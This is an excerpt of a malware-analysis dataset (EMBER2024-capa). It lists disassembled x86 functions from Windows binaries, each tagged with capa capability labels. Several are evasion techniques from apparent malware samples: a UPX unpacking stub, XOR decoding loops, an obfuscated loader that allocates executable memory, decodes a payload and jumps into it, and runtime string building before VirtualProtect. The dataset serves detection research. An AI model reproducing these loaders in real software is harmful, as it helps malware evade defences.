joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4aef96
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4aefc4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4aefe2
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004aeefc
jmp 0x4aefe2
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4aefe2
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004aeefc
test edi, edi
mov eax, edi
jne 0x4aefcc
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x408e80
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x828
cmp dword [0x478784], 0x13f7
mov eax, dword [esp + 0x82c]
push ebx
mov ebx, dword [esp + 0x834]
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebx]
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], eax
jne 0x408ed2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x478784], 0x60b
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x20], eax
jne 0x408f20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x18], 0x20
jmp 0x408f34
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], eax
call fcn.00408e30
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x478784], 0x1b
lea ebx, [edi + ebp]
mov dword [esp + 0x10], eax
mov dword [0x45bbe4], 0xffcf03fc
jne 0x408f9d
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x401330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [esp + 0x10]
xor eax, ebx
xor eax, dword [esp + 0x14]
mov dword [0x45bbe4], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x45bbe4], eax
sub esi, dword [esp + 0x10]
mov dword [0x45bbe8], 0xc5e121b4
mov ecx, esi
shr ecx, 5
mov dword [0x45bbec], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x24]
add ebp, esi
xor eax, ebp
xor eax, dword [esp + 0x10]
push 0x9e3779b9
lea edx, [esp + 0x20]
push edx
sub edi, eax
call fcn.00407ff0
sub dword [esp + 0x18], 1
jne 0x408f30
mov eax, dword [esp + 0x83c]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret 8
Function at 0x409030
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xea4
cmp dword [0x478784], 0x516
jne 0x409088
push 0
lea eax, [esp + 0x6a8]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
mov word [esp + 2], dx
lea eax, [esp + 0xc]
push eax
mov word [esp + 4], cx
mov ecx, dword [esp + 4]
push ecx
push edx
lea edx, [esp + 0x2b0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xeac]
shr eax, 3
test eax, eax
jbe 0x4091c2
mov ecx, dword [esp + 0xea8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp dword [0x478784], 0x29
jne 0x4090fa
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp dword [0x478784], 0xe1b
jne 0x40911e
lea ecx, [esp + 0x174]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x478784], 0x1c
jne 0x40916f
push 0
call esi
push 0
push 0
push 0
lea edx, [esp + 0x50]
push edx
call edi
lea eax, [esp + 0xe0]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, dword [esp + 0xec0]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.00408e80
cmp dword [0x478784], 0x4fa
jne 0x4091ae
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add dword [esp + 0x10], 8
sub dword [esp + 0x18], 1
jne 0x4090c5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xea4
ret 0xc
Function at 0x4091d0
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x438
cmp dword [0x478784], 0x37
jne 0x4092a4
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x401364
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
mov dword [esp], 0
mov eax, dword [0x478788]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x43c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x45bbe0]
mov byte [ecx + eax], dl
add esp, 0x438
ret 4

Function at 0x409310
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x451528
mov byte [0x451529], al
mov byte [0x45152a], 0x72
mov byte [0x451530], 0x2e
mov byte [0x451531], 0x64
mov byte [0x451532], cl
mov byte [0x451534], 0
mov byte [0x45152c], al
mov byte [0x45152d], cl
mov byte [0x45152e], 0x33
mov byte [0x45152f], 0x32
mov byte [0x451533], al
mov byte [0x45152b], 0x6e
mov byte [0x451528], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x478784]
mov edx, dword [0x45bbe0]
mov dword [0x477e1c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x451536], 0
mov byte [0x45152f], 0x50
mov byte [0x45152d], 0x61
mov byte [0x451528], 0x60
mov byte [0x451530], 0x7c
mov byte [0x451531], 0x6f
mov byte [0x451535], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40a4f0
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x40a513
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a51a
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a531
mov edx, dword [ebp - 4]
push edx
call fcn.004105a0
add esp, 4
or eax, 0xffffffff
jmp 0x40a533
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a790
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a7af
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a7b6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a7cd
mov ecx, dword [ebp - 4]
push ecx
call fcn.004105a0
add esp, 4
or eax, 0xffffffff
jmp 0x40a7cf
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414d00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4506e4]
jne 0x414d0a
repz ret
jmp fcn.0041ade0
Function at 0x40180f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40181e
pop dword [ebp - 0x10]
mov eax, 0xf4b14d2e
sub eax, 0xf4713510
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xb28e38f4
sub dword [ebp - 0x20], 0x643bf3a9
mov dword [ebp - 0x1c], 0xdeb5314c
sub dword [ebp - 0x1c], 0xac81e507
mov dword [ebp - 0x18], 0xb8e6c6d8
sub dword [ebp - 0x18], 0x6c9a82aa
mov dword [ebp - 0x14], 0xca31b46e
add dword [ebp - 0x14], 0x35ce4b92
lea eax, [ebp - 0x20]
push eax
mov eax, 0x387d5d85
sub eax, 0x383c8d39
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x2e1a19a
add dword [ebp - 0x20], 0x7190c7bc
mov dword [ebp - 0x1c], 0xfaa024c2
sub dword [ebp - 0x1c], 0xb933c34d
mov dword [ebp - 0x18], 0x568c253b
add dword [ebp - 0x18], 0xce34731
mov dword [ebp - 0x14], 0x7da738b1
sub dword [ebp - 0x14], 0x7da738b1
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x62fa6935
add eax, 0x9d466713
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3720d
push 0
call eax
mov ecx, 0xeb4b671a
sub ecx, 0xeb4b291f
mov ebx, eax
mov esi, 0xa9d84151
sub esi, 0xa9969151
add esi, dword [ebp - 0x10]
mov edi, 0xe316ed43
mov edx, dword [esi]
xor dword [ebp - 4], eax
xor edx, edi
sub dword [ebp - 4], 0x8342d09b
mov dword [ebx], edx
sub dword [ebp - 4], ecx
add ebx, 0x70e019ab
sub ebx, 0x70e019a7
add esi, 0xcf62d947
add esi, 0x309d26bd
loop 0x40193a
add eax, 0xcf94af1b
add eax, 0x306c3ba4
xor ebx, ebx
add ebx, eax
add eax, 0x96f01511
sub eax, 0x96f0150c
mov ecx, 0xa3b3ebcd
add ecx, 0x5c8c1433
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d
Function at 0x48d532
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x48d571
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x48d571
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x48d571
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x48d571
cmp dword [ecx + 0x74], 0xe
jbe 0x48d571
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x48f920
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x48f94d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x48f94d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x48fccd
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x49a648
push 0x49a640
push str.FlsAlloc
push 0x1f
call fcn.0048ffb0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x48fd01
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x48fd07
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x48fd4b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x49a658
push 0x49a650
push str.FlsGetValue
push 0x21
call fcn.0048ffb0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x48fd82
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x48fd8a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x49a660
push 0x49a658
push str.FlsSetValue
push 0x22
call fcn.0048ffb0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x48fdc4
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x493bd9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x493c76
push ebx
push esi
call fcn.00493c79
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00493add
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x493c23
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x493c75
push edi
push eax
call fcn.00492574
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x493c43
call fcn.00491252
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x493c74
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00493add
add esp, 0x20
test eax, eax
jne 0x493c62
push edi
call fcn.00491252
jmp 0x493c6a
push ebx
call fcn.00491252
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0xb26058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xb261a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xb2607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb2606a
add dl, dl
jne 0xb26089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb260dc
xor eax, eax
add dl, dl
jne 0xb26096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xb2617d
add dl, dl
jne 0xb260a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb260b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb260bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb260c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xb260d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xb26075
mov eax, 1
add dl, dl
jne 0xb260ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xb260f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb260e1
sub eax, ebx
mov ebx, 1
jne 0xb26128
mov ecx, 1
add dl, dl
jne 0xb2610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb26119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb26105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb26075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xb2613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xb2614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xb26136
cmp eax, 0x7d00
jae 0xb2616d
cmp eax, 0x500
jb 0xb26168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb26075
cmp eax, 0x7f
ja 0xb26170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xb26075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xb2619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xb26075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401012
mov eax, dword [0x4b630f]
shl eax, 2
mov dword [0x4b6313], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004ab6a0
pop edx
call fcn.004aa9a8
call fcn.004ab6a4
push 0
call fcn.004ac49c
pop ecx
push 0x4b62b8
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x4b6317], eax
push 0
jmp fcn.004b2d18

Function at 0x407b54
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
jne 0x407b6f
xor eax, eax
jmp 0x407bcb
cmp dword [esp + 4], 5
jb 0x407bc9
cmp dword [esp + 4], 5
jne 0x407b88
cmp dword [esp + 8], 0
jne 0x407b88
xor eax, eax
jmp 0x407bcb
cmp dword [esp + 4], 5
jne 0x407bc2
cmp dword [esp + 8], 1
jne 0x407bc2
push str.Service_Pack
lea edx, [esp + 0x18]
push edx
call fcn.004aba7c
add esp, 8
push str.Service_Pack_1
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jl 0x407bbe
mov eax, 1
jmp 0x407bcb
xor eax, eax
jmp 0x407bcb
mov eax, 1
jmp 0x407bcb
xor eax, eax
add esp, 0x94
ret

Function at 0x40fbd8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
call sub.KERNEL32.DLL_FindResourceA
mov ebx, eax
test ebx, ebx
jne 0x40fbf8
xor eax, eax
jmp 0x40fc62
push ebx
push 0
call sub.KERNEL32.DLL_LoadResource
mov esi, eax
test esi, esi
jne 0x40fc0a
xor eax, eax
jmp 0x40fc62
push esi
call sub.KERNEL32.DLL_LockResource
mov edi, eax
test edi, edi
jne 0x40fc1a
xor eax, eax
jmp 0x40fc62
push ebx
push 0
call sub.KERNEL32.DLL_SizeofResource
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
push 0x42
call sub.KERNEL32.DLL_GlobalAlloc
mov ebx, eax
test ebx, ebx
jne 0x40fc40
push esi
call sub.KERNEL32.DLL_FreeResource
xor eax, eax
jmp 0x40fc62
push ebx
call sub.KERNEL32.DLL_GlobalLock
mov edx, dword [ebp - 4]
push edx
push edi
push eax
call fcn.004ab6c8
add esp, 0xc
push ebx
call sub.KERNEL32.DLL_GlobalUnlock
push esi
call sub.KERNEL32.DLL_FreeResource
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x40fc68
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
push closesocket
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40fc95
xor eax, eax
jmp 0x40fce8
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
mov edi, eax
cmp edi, 0xffffffff
jne 0x40fcae
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x40fce8
push edi
push 0x42
call sub.KERNEL32.DLL_GlobalAlloc
mov esi, eax
test esi, esi
jne 0x40fcc6
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x40fce8
push esi
call sub.KERNEL32.DLL_GlobalLock
push 0
lea edx, [ebp - 4]
push edx
push edi
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
push esi
call sub.KERNEL32.DLL_GlobalUnlock
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret